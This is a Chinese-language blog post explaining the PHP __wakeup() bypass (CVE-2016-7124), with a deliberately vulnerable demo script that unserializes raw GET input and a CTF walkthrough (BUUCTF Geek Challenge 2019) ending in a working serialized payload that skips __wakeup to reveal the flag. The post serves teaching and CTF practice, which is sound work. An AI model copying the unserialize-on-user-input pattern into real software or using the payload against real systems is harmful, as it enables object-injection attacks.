__wakeup()魔术方法绕过(CVE-2016-7124)
__wakeup()魔术方法绕过(CVE-2016-7124)
漏洞简介
在php反序列化数据过程中,如果类中存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
适用环境
PHP 5<5.6.25; PHP 7<7.0.10
复现过程
环境源码
<?php
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}
public function __wakeup(){
echo "__wakeup()被调用<br>";
}
public function __destruct(){
echo "__destruct()被调用<br>";
}
//
}
unserialize($_GET['x']);
?>
正常执行流程为,网页接受变量x数据进行反序列化操作,__wakeup()魔术方法被调用,然后程序执行完毕,__destruct魔术方法被调用。

确认php版本是否符合

修改对象属性个数的值大于真实的属性个数时,__wakeup魔术方法被绕过

CTF赛题应用
- BUUCTF--[极客大挑战 2019]PHP
根据赛题提示,下载www.zip备份文件
源码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
对代码进行分析可知,想要获取flag需要执行__destruct魔术方法,并且传入的序列化数据中的username值为admin,且password值为100,通过构造pop链可以修改Name类的属性,但是在此网页接受数据之后,会对数据进行反序列化处理,在进行反序列化处理之前会调用__wakeup魔术方法,但是在代码中,__wakeup魔术方法将username进行了重新赋值,因此要想获取flag,必须绕过__wakeup。
确认php版本是否在符合CVE-2016-7124漏洞版本区间(PHP 5<5.6.25; PHP 7<7.0.10)

构造pop链
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$obj=new Name();
echo serialize($obj);
?>
得到序列化数据之后要将private型得数据特征表现出来,即private属性序列化的时候格式是%00类名%00成员名,并让对象属性个数大于真实个数。
payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
漏洞修复
升级php版本即可
以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。
__wakeup()魔术方法绕过(CVE-2016-7124)的更多相关文章
- php反序列化漏洞绕过魔术方法 __wakeup
0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字 ...
- PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化)/约束类型/魔术方法小结
前 言 OOP 学习了好久的PHP,今天来总结一下PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化). 1 PHP中的抽象 ...
- php中魔术方法有什么用
在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利.PHP中的魔术方法通常以__(两个下划线)开始,并且不需要显示的调用而是由某种特定的条件出发. __construct ...
- 魔术方法__sleep 和 __wakeup
感觉序列化和反序列化用得倒是比较少了,而json_encode和json_decode用得相对多,都是转化成串,进行入库.传输等.json更方便,但是序列化和反序列化结合这两个魔术方法使用倒还行< ...
- PHP中的魔术方法:__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toString, __set_state, __clone and __autoload
1.__get.__set 这两个方法是为在类和他们的父类中没有声明的属性而设计的: __get( $property ) 当调用一个未定义的属性时访问此方法: __set( $property, $ ...
- PHP 魔术方法 __sleep __wakeup(四)
串行化serialize可以把变量包括对象,转化成连续bytes数据. 你可以将串行化后的变量存在一个文件里或在网络上传输. 然后再反串行化还原为原来的数据. 你在反串行化类的对象之前定义的类,PHP ...
- PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toStr
PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep ...
- PHP中的魔术方法总结:__construct,__destruct ,__call,__callStatic,__get,__set,__isset, __unset ,__sleep,__wakeup,__toString,__set_state,__clone,__autoload
1.__get.__set这两个方法是为在类和他们的父类中没有声明的属性而设计的__get( $property ) 当调用一个未定义的属性时访问此方法__set( $property, $value ...
- PHP基础知识之魔术方法
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sle ...
- 前端学PHP之面向对象系列第二篇——魔术方法
× 目录 [1]构造方法 [2]析构方法 [3]不可访问属性[4]对象复制[5]字符串[6]对象不存在[7]自动加载类[8]串行化[9]函数调用 前面的话 php在面向对象部分有很多相关的魔术方法,这 ...
随机推荐
- Stream流根据属性去重
List根据属性去重 创建一个user集合 User user1 = new User("user1", 18, "AAA"); User user2 = ne ...
- vue全家桶进阶之路18:Vue Router
Vue Router 是 Vue.js 的官方路由管理器,它可以帮助我们实现单页应用(Single Page Application,SPA)的前端路由. Vue Router 基于 Vue.js 的 ...
- Vue Element-ui 之 el-table自动滚动
首先是 div结构布局 <div id="scrollId">//对el-table盒子设置 id 属性 <div style="height: 100 ...
- 不要轻易尝试 weexplus open as
昨日使用 weexplust publish android 编译apk, 出现了一大堆错 FAILURE: Build failed with an exception. * What went w ...
- 文心一言 VS 讯飞星火 VS chatgpt (24)-- 算法导论4.2 6题
六.用Strassen 算法作为子进程来进行一个 knn 矩阵和一个nkn 矩阵相乘,最快需要花费多长时间?对两个输入矩阵规模互换的情况,回答相同的问题. 文心一言: Strassen 算法是一种用于 ...
- Java(命令行传参、可变参数、递归
1.命令行传参 通过命令行传参,main也可以传参 public class Hello { public static void main(String[] args) { for (int i = ...
- R 语言主成分分析(PCA)实战教程
作者:落痕的寒假原文:https://blog.csdn.net/LuohenYJ/article/details/97950522 声明:本文章经原作者同意后授权转载. 主成分分析 Principa ...
- Loguru:优雅的日志管理模块
安装 pip3 install loguru 日志等级 等级 方法 TRACE logger.trace() DEBUG logger.debug() INFO logger.info() SUCES ...
- 如何刷新 DNS 缓存 (macOS, Linux, Windows)
如何刷新 DNS 缓存 (macOS, Linux, Windows) Unix Linux Windows 如何刷新 DNS 缓存 (macOS, FreeBSD, RHEL, CentOS, De ...
- 倒排Tree树
倒排Tree树 需求说明为: 树节点存在(标识)或者叶子节点存在标识 都需要展示出来 存在※的节点及其上级节点需要返回 其余节点需要剔除 A() ----------------------- ...